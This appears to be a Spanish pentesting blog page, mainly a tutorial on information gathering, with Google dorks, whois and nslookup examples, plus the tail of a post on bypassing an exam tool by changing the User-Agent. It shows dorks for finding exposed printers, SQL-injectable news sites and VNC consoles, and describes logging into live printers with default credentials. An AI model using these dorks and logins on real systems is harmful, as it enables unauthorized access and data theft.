src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVYkhA4QX5cgANesnRWYlso4Sm5TDdrRrAUe0HJLoFC-sfiJYO8NYtZHd7jT4lFKZVukd66GuvlM4HL5-sX_qlYXMQWNKvd-O2OBeCoVdH3l2bhqrSDJW8GlSAQH1cZdMzsx7kkfwAsWg/s1600/user-agent.png" height="120" width="640" /></a></div> <br /> Una vez ingresado el nuevo <b>User-Agent </b>regreso a la web y así de fácil fue saltar este supuesto modulo de seguridad.<br /> <br /> El cual me parece que es una buena idea plantar la honestidad en los alumnos al presentar exámenes pero el desarrollo aun me parece muy crudo para implementarlo en exámenes en alumnos con niveles básicos de informática.<br /> <br /> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnl8Iw-Lkp3hYrkM4TLHeKTo4nbR4aSeX4qGh0FHdzdc98fk3U3qbQdqdgdU8r1mFv7gPVMu1nUUcNDLzFQiFtPQaqaZsxORwRaECFyF2U_DAiKw9eSV5c6BK16K_yuhhdKar-2oBhkwM/s1600/exam2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnl8Iw-Lkp3hYrkM4TLHeKTo4nbR4aSeX4qGh0FHdzdc98fk3U3qbQdqdgdU8r1mFv7gPVMu1nUUcNDLzFQiFtPQaqaZsxORwRaECFyF2U_DAiKw9eSV5c6BK16K_yuhhdKar-2oBhkwM/s1600/exam2.png" height="272" width="640" /></a><br /> <br /> <br /></div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com8tag:blogger.com,1999:blog-4993754786350617036.post-65292338343611301942015-04-15T19:48:00.002-05:002015-04-15T19:48:48.206-05:00<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmgYrwydtWY0rLEugDeIBfR3W8GRmm_pgDIFaxhEZeQkM48NFFuYbFtEsgyP9v5RlBlXXrYwaZ5cK3ZqGJbIOO26tscY5EBWW7blobtAz86vOuI6gtyuR0WepMVLdIBkmONHA_hZdnAwU/s1600/gathering.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmgYrwydtWY0rLEugDeIBfR3W8GRmm_pgDIFaxhEZeQkM48NFFuYbFtEsgyP9v5RlBlXXrYwaZ5cK3ZqGJbIOO26tscY5EBWW7blobtAz86vOuI6gtyuR0WepMVLdIBkmONHA_hZdnAwU/s1600/gathering.jpg" height="320" width="400" /></a></div> <div style="text-align: center;"> <b><span style="font-size: x-large;">Information Gathering</span></b></div> <div style="text-align: center;"> <b><span style="font-size: x-large;"><br /></span></b></div> <div style="text-align: justify;"> En el día de hoy hablaremos de las técnicas mas usadas para la recolección de información a nivel general, esta es la primera y una de las fases de pre-pentestin ó pre-ataque con mas importancia en la auditoria de seguridad ya que a través de esta recopilación de información podemos conocer un poco mas sobre el objetivo.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Normalmente en esta fase debemos obtener toda la información posible para diseñarnos o imaginarnos como esta distribuida la red a penetrar.<br /> <br /> Las guías de&nbsp;<b>CEH</b>&nbsp;nos enumeran siete&nbsp;<b>Etapas de Information Gathering - Footprinting</b><br /> <b><br /></b> <b>01 -&nbsp;Gathering information&nbsp;</b><br /> <b>02 - Locating the network range</b><br /> <b>03 - Identifying active machines</b><br /> <b>04 - Finding open ports and applications</b><br /> <b>05 - Detecting operating systems</b><br /> <b>06 - Fingerprinting services</b><br /> <b>07 - Mapping the network</b><br /> <b><br /></b> <span style="font-size: large;"><b>Footprinting</b></span><br /> <br /> Es definido como el proceso de crear un modelo o mapa de una organización de redes y sistemas. Consiste en la búsqueda de toda la información pública, bien porque haya sido publicada a propósito o bien porque haya sido publicada por desconocimiento. en este proceso buscaremos todas las huellas posibles, como direcciones IP, servidores internos, cuentas de correo de los usuarios, nombres de máquinas, información del registrador del dominio, tipos de servidores, ficheros con cuentas y/o credenciales de usuarios, impresoras, cámaras IP, metadatos, etc.<br /> <br /> <span style="font-size: large;"><b>Fingerprinting</b></span><br /> <br /> Es un proceso o técnica que consiste en analizar y determinar las huellas que deja un S.O en sus conexiones de red.<br /> <br /> Los programas que se utilizan para realizar Fingerprinting se basan en dos filosofías, escáner pasivo o activo:<br /> <b>Activo: </b>Cuando se envia paquetes esperando respuesta del objetivo y es comparada con su base de datos, las tecnicas que suelen ser usadas son: inundacion de paquetes SYN, envio flags TCP incorrectos, envio de paquetes FIN... los cuales permiten ser detectados facilmente.<br /> <b><br /></b> <b>Pasivo: </b>Cuando se esnifea trafico para identificar las maquinas que &nbsp;se intercomunican en la red, comparando sus tiempos de respuesta sin actuar en la red. La deteccion de esta tecnica se torna dificil, pero tiene sus incovenientes: hay que esperar un gran lapso de tiempo para la captura de paquetes.<br /> <br /> <div style="text-align: center;"> <img alt="network schema" src="http://www.securityfocus.com/images/infocus/passive_network_1.gif" /></div> <br /> <div> <br /></div> </div> <div style="text-align: justify;"> <div style="text-align: center;"> <b><span style="font-size: large;">Gathering information</span></b></div> </div> <div style="text-align: justify;"> <br /> Son muchas las herramientas, técnicas y recursos disponibles que cumplen con este propósito.</div> <div style="text-align: justify;"> Estas son algunas de ellas:</div> <div style="text-align: justify;"> </div> <ul> <li style="text-align: justify;"><b>Google Hacking&nbsp;</b></li> <li style="text-align: justify;"><b>Whois, Nslookup</b></li> <li style="text-align: justify;"><b>Metadatos</b></li> <li style="text-align: justify;"><b>Ingeniería Social</b></li> </ul> <div> <div style="text-align: justify;"> Igualmente existen herramientas automatizadas para recolectar todo tipo de información.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> La idea de toda la fase es construir un perfil del objetivo siguiendo las etapas mencionadas anteriormente..</div> </div> <div style="text-align: justify;"> <br /></div> <div> <div style="text-align: justify;"> <b><span style="font-size: large;">Google Hacking:</span></b><br /> <br /> Google siempre ha sido uno de los recursos mas utilizado para la busqueda de informacion. Con la ayuda de los operadores de búsqueda de Google los cuales son términos de consulta o símbolos que realizan acciones especiales. Estos operadores nos permiten encontrar informacion concreta en forma rápida y precisa.<br /> <br /> El nombre a la tecnica a mi parecer suena mas de lo que verdad es.. realmente no se hacking con google simplemente es un gran aliado en la recopilacion de informacion. el nombre va mas por lo que podemos encontrar con el por ejemplo:<br /> <br /> <ul> <li>Dispositivos de red (Impresoras, Camaras IP, Router's, Switches, Telefonos IP, PBX)</li> <li>Sitios Vulnerables (Errores )</li> <li>Informacion Personal (Tel, Nombres, Correos, Etc..)</li> <li>VNC Server</li> <li>Consolas Web de Antivirus</li> <li>UPS Monitor</li> <li>Base de datos de correo, usuarios, contraseñas</li> <li>FTP Servers</li> <li>Logs.</li> <li>Documentos</li> <li>Etc..</li> </ul> <div> Por todo esto hace parte de las mejores herramientas de búsqueda de información. Claro esta que esto no dejaria de ser asi si los admin hicieran bien su tarea y no permitiera la falta de protecion o seguridad de dispositivos y sitios web los cuales permiten que el robot de google los indexe.&nbsp;</div> <br /> <div> <br /></div> <div> Ejemplos usando&nbsp;<b>Google Hacking:</b></div> <div> <b><br /></b></div> <div> <b>Buscando&nbsp;Dispositivos de red (Impresora):</b></div> <div> <br /></div> <div> Que interesa obtener el acceso al portal de un&nbsp;<b>Print Server.</b>&nbsp;En conversaciones he escuchado este tipo de pregunta, y la respuesta es simple si vos sos una empresa rival o cualquier otro ente o persona que requiera informacion de dicha empresa que mejor que ver los documentos que se imprimen a diario en esas impresoras? ahora torna importante cierto? esto ahorra hacer&nbsp;<b>Garbage.</b>&nbsp;y el auditor o atacante pude obtener ademas de esta informacion las IP de subredes internas, ademas de estar ya dentro de dicha red.</div> <div> <br /></div> <div> <b>Ejemplos:</b></div> <div> <b>inurl:"main/main.html" intitle:"Brother"</b></div> <div> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2jfROuxaPcJJqVsWHgDQsddckLswd4uF4dzpxCE7_TtdpVWQdOoDB6dtIJnrxFrsKeSLBLY31KjCz4Jq4JXzkJzGdoFSjU-GAIlOeg_ZFlAUSk7zIprKLggdLWqoaZ8yKmxglj9lMYng/s1600/bro_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2jfROuxaPcJJqVsWHgDQsddckLswd4uF4dzpxCE7_TtdpVWQdOoDB6dtIJnrxFrsKeSLBLY31KjCz4Jq4JXzkJzGdoFSjU-GAIlOeg_ZFlAUSk7zIprKLggdLWqoaZ8yKmxglj9lMYng/s1600/bro_2.jpg" height="204" width="640" /></a></div> <div> <br /></div> <div> Una vez en el panel de administración, se accede a la lista de impresoras que se encuentran en la misma organización con la opción de Buscar &nbsp;y que se hayan dado de alta, ya sean de la marca Brother o de cualquier otro fabricante.</div> <div> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhso2lDow8IXaC-ugjTDEMmgpdSdGhKxjVVp8dSYtq5AP35Q0VHTCub6uKHCUd0rc093zLUSiYFWtQRQqIRaRc01EsXLAjBhCpjy_Trt_yZcpM8iz1rvdUeGL4A4f1F2JnbLGMPkXZwhjI/s1600/web-printer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhso2lDow8IXaC-ugjTDEMmgpdSdGhKxjVVp8dSYtq5AP35Q0VHTCub6uKHCUd0rc093zLUSiYFWtQRQqIRaRc01EsXLAjBhCpjy_Trt_yZcpM8iz1rvdUeGL4A4f1F2JnbLGMPkXZwhjI/s1600/web-printer.png" height="112" width="640" /></a></div> <div> <br /></div> <div> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuUpMaDCuWxdCsK8af6V6oattZDWkAE4DAELyKe-IaRCIjNsXwa6LLcP5FszBZZqyV4xWk10REcmlStJ2_xdUmesGmGz7mi2CopxvlgydamgV3tY8fztqF8AJd5G-n-g4vRWxdYz60LR4/s1600/list.printer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuUpMaDCuWxdCsK8af6V6oattZDWkAE4DAELyKe-IaRCIjNsXwa6LLcP5FszBZZqyV4xWk10REcmlStJ2_xdUmesGmGz7mi2CopxvlgydamgV3tY8fztqF8AJd5G-n-g4vRWxdYz60LR4/s1600/list.printer.png" height="425" width="640" /></a></div> <div> <br /></div> <div> Si intentamos ingresar a los&nbsp;<b>ajustes de administrador&nbsp;</b>o&nbsp;<b>configuracion general</b>&nbsp;nos solicitara credenciales de acceso, bien estas no las conocemos pero algo curioso ocurre cuando cancelamos el login. la web nos informa sobre las credenciales default de acceso. probemos.</div> <div> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhktsPh2DdFxzewAB692eOsKozzGmnGtLI35Bqd_i9Ifi2vOpnXdAZFumMoTIozzU1rPhk6mI4HaL9qkAgRjdfzvr_PTDjfIiWUZNwBV1xzTInT7RlV3Syepkjc2IcZnAx9kmvITJL72M0/s1600/user-pass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhktsPh2DdFxzewAB692eOsKozzGmnGtLI35Bqd_i9Ifi2vOpnXdAZFumMoTIozzU1rPhk6mI4HaL9qkAgRjdfzvr_PTDjfIiWUZNwBV1xzTInT7RlV3Syepkjc2IcZnAx9kmvITJL72M0/s1600/user-pass.png" height="498" width="640" /></a></div> <div> <br /></div> <div> Intentemos ingresarlas y a ver que pasa:</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9OYp76A4DbxgMYR7IeXjGOrGq-R7wJei5zqZJOxPjmzWL4A-MNqE_4_5ZITFVSJXpG1z8cnuVjORpN-QjdJfjnGIKRBmaI2tghgvDgj3UWvB2WJHefwob7LLuQQjlFL1xEoPsoO7NwWw/s1600/aj.admin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9OYp76A4DbxgMYR7IeXjGOrGq-R7wJei5zqZJOxPjmzWL4A-MNqE_4_5ZITFVSJXpG1z8cnuVjORpN-QjdJfjnGIKRBmaI2tghgvDgj3UWvB2WJHefwob7LLuQQjlFL1xEoPsoO7NwWw/s1600/aj.admin.png" height="314" width="640" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivZW5EZpvx0TFM2DzXyxLl5FIb2kCT8qTLDjXvwVBSIkt5fBZjpGS7YZq2rBsmDNTprKHAAePNhaUsfTvemuksN2mqdlFUjX9ID00lFJguxBNhQ9ROZ2QYPEwhhBEAhIuKk0VVDHFpAqY/s1600/Conf.Gen.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivZW5EZpvx0TFM2DzXyxLl5FIb2kCT8qTLDjXvwVBSIkt5fBZjpGS7YZq2rBsmDNTprKHAAePNhaUsfTvemuksN2mqdlFUjX9ID00lFJguxBNhQ9ROZ2QYPEwhhBEAhIuKk0VVDHFpAqY/s1600/Conf.Gen.png" height="373" width="400" /></a></div> <div> y como era de esperarse algunas web de listado arrojado aun permanecen con los credenciales por defecto.</div> <div> <b><br /></b></div> <div> <b>Buscando&nbsp;Sitios web vulnerables (SQL Injection):</b></div> <div> La mayoria de los sitios web no pasan por analisis de vulnerabilidades los cuales hacen que el administrador de dicho sitio pase desapercibido de estas.</div> <div> Uno de los parametros de busqueda para encontrar web vulnerables a&nbsp;<b>SQL Injection</b>&nbsp;son aquellos que basan en contenido de noticias. o CMS</div> <div> un ejemplo de parametro de busqueda seria el siguiente:</div> <div> <b>inurl:noticias.php?id=1</b></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxbUvSNJsJjBVW2xrF_80OvZAo7b5TTNrG4P0QwAIwcrDxC7JMpzdttWmnXjICIh45dmQsPl5C8bIhPDsZ0mHUDZ6Yo9jwwqw5QP8aVIt2ylY7-Ca1brgd8G5NGsa_WjMr54O3tXTnDvQ/s1600/para.sql.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxbUvSNJsJjBVW2xrF_80OvZAo7b5TTNrG4P0QwAIwcrDxC7JMpzdttWmnXjICIh45dmQsPl5C8bIhPDsZ0mHUDZ6Yo9jwwqw5QP8aVIt2ylY7-Ca1brgd8G5NGsa_WjMr54O3tXTnDvQ/s1600/para.sql.png" height="364" width="640" /></a></div> <div> <br /></div> <div> Entrando a la primera web que me arroja google inmediatamente puedo comprobar que es vulnerable a SQL Injection simplemente dejando nulo el parametro&nbsp;<b>ID&nbsp;</b>&nbsp;en la&nbsp;<b>URL&nbsp;</b>de la web.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-4vlOo7QcVkj1fimOj63LZvtpX4TSqcLJBy9e0qtcbfKSLjQxGWtsRsDewTKhGlxSYGPA8XOXFOq4b3ABTylPlPpD7Wwgfz7bbh9cOmIW9hAastpdle74kQ9R8h5OdwVFZGhyG-JeXR4/s1600/Sin+t%C3%ADtulo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-4vlOo7QcVkj1fimOj63LZvtpX4TSqcLJBy9e0qtcbfKSLjQxGWtsRsDewTKhGlxSYGPA8XOXFOq4b3ABTylPlPpD7Wwgfz7bbh9cOmIW9hAastpdle74kQ9R8h5OdwVFZGhyG-JeXR4/s1600/Sin+t%C3%ADtulo.png" height="112" width="640" /></a></div> <div> <br /></div> <div> solo quedaría explotar esta vulnerabilidad entrar a la&nbsp;<b>BD&nbsp;</b>y se podrá obtener toda información privada.</div> <div> <br /></div> <div> De esta misma forma podemos buscar errores específicos en los sitios para explotar.</div> <div> <br /></div> <div> <br /></div> <div> <b>Buscando listado de recursos</b></div> <div> se puede usar el siguiente termino de busqueda:&nbsp;<b>intitle:"index of" pentesting&nbsp;</b>&nbsp;con esto buscare listado de recursos que tengan que ver con&nbsp;<b>pentesting.</b></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfX_BXCQykYF1c15lGFQ4j9aozLvucKZHQSZfNUR4FmQYok9X4GVS6MCmyp__5-fjVeVVEug9Bwcu2-lo-4312gNtHVVXYu_G4ih7SaYvzZ2tnYdFrILc7JibHTWsmqk3u68NCAjpt3wo/s1600/index-of.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfX_BXCQykYF1c15lGFQ4j9aozLvucKZHQSZfNUR4FmQYok9X4GVS6MCmyp__5-fjVeVVEug9Bwcu2-lo-4312gNtHVVXYu_G4ih7SaYvzZ2tnYdFrILc7JibHTWsmqk3u68NCAjpt3wo/s1600/index-of.png" height="316" width="640" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhENoeij1ahwFrZM9wnUKutvPR3z1Owy3LQRQ4EqQjpakvlupMJCYp5PNAbP08P3QDQUZHDdpfOirBYs2JXzJEe97sRC1UZr8YWN7T-BOnpN58iD2M7NNJUYJudBSabgu1gQpn0kDrQssA/s1600/index-of2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhENoeij1ahwFrZM9wnUKutvPR3z1Owy3LQRQ4EqQjpakvlupMJCYp5PNAbP08P3QDQUZHDdpfOirBYs2JXzJEe97sRC1UZr8YWN7T-BOnpN58iD2M7NNJUYJudBSabgu1gQpn0kDrQssA/s1600/index-of2.png" height="400" width="371" /></a></div> <div> <b><br /></b></div> <div> <br /></div> <div> Un ejemplo mas seria buscar consolas web de VNC Server:</div> <div> <b>intitle:"VNC viewer for Java"</b></div> <div> <br /></div> <div> Para no alargar mas el articulo pueden encontrar mayor información de google hacking en el Ebook&nbsp;<b><a href="https://books.google.com.co/books?id=bvB1-MmhEjQC&amp;pg=PA334&amp;lpg=PA334&amp;dq=google+hacking+printer&amp;source=bl&amp;ots=elqw_sYhy6&amp;sig=xmX5sSk_MF8SJK4L-fPSUHheO9M&amp;hl=es-419&amp;sa=X&amp;ei=2EItVZ7GCISrgwTflYGIBA&amp;ved=0CEAQ6AEwBA#v=onepage&amp;q&amp;f=false" rel="nofollow" target="_blank">Google Hacking for Penetration Testers, Volume 2</a></b>.</div> <div> <br /></div> <div> Igualmente hoy en dia existen diversas herramientas para automatizar este tipo de búsquedas como son:&nbsp;<b>GooScan, SiteDigger,&nbsp;ProminentDork, etc...</b></div> <br /> <div> </div> <br /> <div style="-webkit-text-stroke-width: 0px; color: black; font-family: 'Times New Roman'; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px;"> <div style="margin: 0px;"> <b><br /></b></div> </div> <b><span style="font-size: large;">Whois</span></b><br /> es un protocolo <b>TCP</b>&nbsp;el cual suministra información publica que permite determinar el propietario de un nombre de dominio o de una IP, esta información involucra&nbsp;clientes y empresa proveedora. esta herramienta puede ser usada a traves de la consola o bien de diversas paginas web que ofrecen la herramienta en modo online.</div> </div> <div> <div style="text-align: justify;"> <br /></div> </div> <div> En modo consola podemos usarla simplemente con el comando <b>Whois </b>:</div> <div> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[Antony@Server ~]$</span> whois 173.194.112.80 <span style="color: #888888;">[Querying whois.arin.net]</span> <span style="color: #888888;">[whois.arin.net]</span> <span style="color: #888888;">#</span> <span style="color: #888888;"># ARIN WHOIS data and services are subject to the Terms of Use</span> <span style="color: #888888;"># available at: https://www.arin.net/whois_tou.html</span> <span style="color: #888888;">#</span> <span style="color: #888888;"># If you see inaccuracies in the results, please report at</span> <span style="color: #888888;"># http://www.arin.net/public/whoisinaccuracy/index.xhtml</span> <span style="color: #888888;">#</span> <span style="color: #888888;">#</span> <span style="color: #888888;"># Query terms are ambiguous. The query is assumed to be:</span> <span style="color: #888888;"># "n 173.194.112.80"</span> <span style="color: #888888;">#</span> <span style="color: #888888;"># Use "?" to get help.</span> <span style="color: #888888;">#</span> <span style="color: #888888;">#</span> <span style="color: #888888;"># The following results may also be obtained via:</span> <span style="color: #888888;"># http://whois.arin.net/rest/nets;q=173.194.112.80?showDetails=true&amp;showARIN=false&amp;ext=netref2</span> <span style="color: #888888;">#</span> <span style="color: #888888;">NetRange: 173.194.0.0 - 173.194.255.255</span> <span style="color: #888888;">CIDR: 173.194.0.0/16</span> <span style="color: #888888;">NetName: GOOGLE</span> <span style="color: #888888;">NetHandle: NET-173-194-0-0-1</span> <span style="color: #888888;">Parent: NET173 (NET-173-0-0-0-0)</span> <span style="color: #888888;">NetType: Direct Allocation</span> <span style="color: #888888;">OriginAS: AS15169</span> <span style="color: #888888;">Organization: Google Inc. (GOGL)</span> <span style="color: #888888;">RegDate: 2009-08-17</span> <span style="color: #888888;">Updated: 2012-02-24</span> <span style="color: #888888;">Ref: http://whois.arin.net/rest/net/NET-173-194-0-0-1</span> <span style="color: #888888;">OrgName: Google Inc.</span> <span style="color: #888888;">OrgId: GOGL</span> <span style="color: #888888;">Address: 1600 Amphitheatre Parkway</span> <span style="color: #888888;">City: Mountain View</span> <span style="color: #888888;">StateProv: CA</span> <span style="color: #888888;">PostalCode: 94043</span> <span style="color: #888888;">Country: US</span> <span style="color: #888888;">RegDate: 2000-03-30</span> <span style="color: #888888;">Updated: 2013-08-07</span> <span style="color: #888888;">Ref: http://whois.arin.net/rest/org/GOGL</span> <span style="color: #888888;">OrgTechHandle: ZG39-ARIN</span> <span style="color: #888888;">OrgTechName: Google Inc</span> <span style="color: #888888;">OrgTechPhone: +1-650-253-0000 </span> <span style="color: #888888;">OrgTechEmail: arin-contact@google.com</span> <span style="color: #888888;">OrgTechRef: http://whois.arin.net/rest/poc/ZG39-ARIN</span> <span style="color: #888888;">OrgAbuseHandle: ZG39-ARIN</span> <span style="color: #888888;">OrgAbuseName: Google Inc</span> <span style="color: #888888;">OrgAbusePhone: +1-650-253-0000 </span> <span style="color: #888888;">OrgAbuseEmail: arin-contact@google.com</span> <span style="color: #888888;">OrgAbuseRef: http://whois.arin.net/rest/poc/ZG39-ARIN</span> <span style="color: #888888;">#</span> <span style="color: #888888;"># ARIN WHOIS data and services are subject to the Terms of Use</span> <span style="color: #888888;"># available at: https://www.arin.net/whois_tou.html</span> <span style="color: #888888;">#</span> <span style="color: #888888;"># If you see inaccuracies in the results, please report at</span> <span style="color: #888888;"># http://www.arin.net/public/whoisinaccuracy/index.xhtml</span> <span style="color: #888888;">#</span> </pre> </div> </div> <div> <br /></div> <div> Y como mencionamos anteriormente pueden optar usarla a traves de los sitios web que la ofrecen por ejemplo <b><a href="http://centralops.net/" rel="nofollow" target="_blank">centralops</a>&nbsp;</b>o bien <b><a href="http://cqcounter.com/whois/" rel="nofollow" target="_blank">cqcounter</a>&nbsp;</b>esta ultima con Geo localización.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_OoKVyXZPlVkm6vjILNhzlBuSv4JN1o1Ak09Bqk69RKsSmqyeHxKuGwy4ww-fiV-tPUSSwtMj2nYz0pc8KaLcmSkw0IIg2T7DYY52TtZUzfRu0hm5Z983YYIjqp1y9jfsBtUlj5lAVIw/s1600/whois-online.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_OoKVyXZPlVkm6vjILNhzlBuSv4JN1o1Ak09Bqk69RKsSmqyeHxKuGwy4ww-fiV-tPUSSwtMj2nYz0pc8KaLcmSkw0IIg2T7DYY52TtZUzfRu0hm5Z983YYIjqp1y9jfsBtUlj5lAVIw/s1600/whois-online.png" height="369" width="640" /></a></div> <br /> <br /></div> <br /> <div> Como podrán notar con esta herramienta se puede extraer una gran cantidad de información como direcciones, DNS, correos, Etc..<br /> <br /> <b>Realizando consultas DNS: </b>Igualmente podemos recolectar información realizando consultas de DNS, <b>Nslookup&nbsp;</b>Es un programa, utilizado para saber si el DNS está resolviendo correctamente los nombres de dominio y las IPs. el comando lo podemos encontrar tanto en windows como sistemas <b>Unix.</b><br /> <b><br /></b> La recolección de información se realiza también desde el DNS, ya que proporciona un poco de información pública y privada en algún momento, acerca de los servidores de la organización como la dirección IP, el nombre del servidor. existen diversas herramientas que interactúan con los servidores DNS como son <b>nslookup y</b>&nbsp;<b>dig</b>,<br /> <br /> El siguiente ejemplo muestra la salida de una consulta sencilla con <b>nslookup </b>a <b>google.com</b><br /> <br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[Antony@Server ~]$</span> nslookup <span style="color: #888888;">&gt; google.com</span> <span style="color: #888888;">Server: 74.63.208.3</span> <span style="color: #888888;">Address: 74.63.208.3#53</span> <span style="color: #888888;">Non-authoritative answer:</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.201</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.193</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.198</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.192</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.206</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.194</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.199</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.200</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.197</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.196</span> <span style="color: #888888;">Name: google.com</span> <span style="color: #888888;">Address: 74.125.227.195</span> <span style="color: #888888;"> </span> </pre> </div> En este otro ejemplo se realiza nuevamente se consulta con&nbsp;<b>nslookup ,&nbsp;</b>con el fin de identificar las ip y registros MX correspondiente a google y asi identificar posibles servidores de correo.<br /> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[Antony@Server ~]$</span> nslookup <span style="color: #888888;">&gt; set type=mx</span> <span style="color: #888888;">&gt; google.com</span> <span style="color: #888888;">Server: 74.63.208.3</span> <span style="color: #888888;">Address: 74.63.208.3#53</span> <span style="color: #888888;">Non-authoritative answer:</span> <span style="color: #888888;">google.com mail exchanger = 30 alt2.aspmx.l.google.com.</span> <span style="color: #888888;">google.com mail exchanger = 40 alt3.aspmx.l.google.com.</span> <span style="color: #888888;">google.com mail exchanger = 20 alt1.aspmx.l.google.com.</span> <span style="color: #888888;">google.com mail exchanger = 10 aspmx.l.google.com.</span> <span style="color: #888888;">google.com mail exchanger = 50 alt4.aspmx.l.google.com.</span> <span style="color: #888888;">Authoritative answers can be found from:</span> <span style="color: #888888;">alt2.aspmx.l.google.com internet address = 64.233.171.27</span> <span style="color: #888888;">alt3.aspmx.l.google.com internet address = 74.125.141.27</span> <span style="color: #888888;">alt1.aspmx.l.google.com internet address = 74.125.137.27</span> <span style="color: #888888;">aspmx.l.google.com internet address = 64.233.169.27</span> <span style="color: #888888;">alt4.aspmx.l.google.com internet address = 64.233.186.27</span> </pre> </div> <br /> El resultado nos arroja varios servidores alternos de correos de google y los valores de prioridad de estos, el valor mas bajo tiene mayor prioridad.<br /> <br /> También podemos obtener información del servidor de nombres de una organización escribiendo los siguientes parámetros.<br /> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[Antony@Server ~]$</span> nslookup <span style="color: #888888;">&gt; set type=ns</span> <span style="color: #888888;">&gt; google.com</span> <span style="color: #888888;">Server: 74.63.208.3</span> <span style="color: #888888;">Address: 74.63.208.3#53</span> <span style="color: #888888;">Non-authoritative answer:</span> <span style="color: #888888;">google.com nameserver = ns4.google.com.</span> <span style="color: #888888;">google.com nameserver = ns1.google.com.</span> <span style="color: #888888;">google.com nameserver = 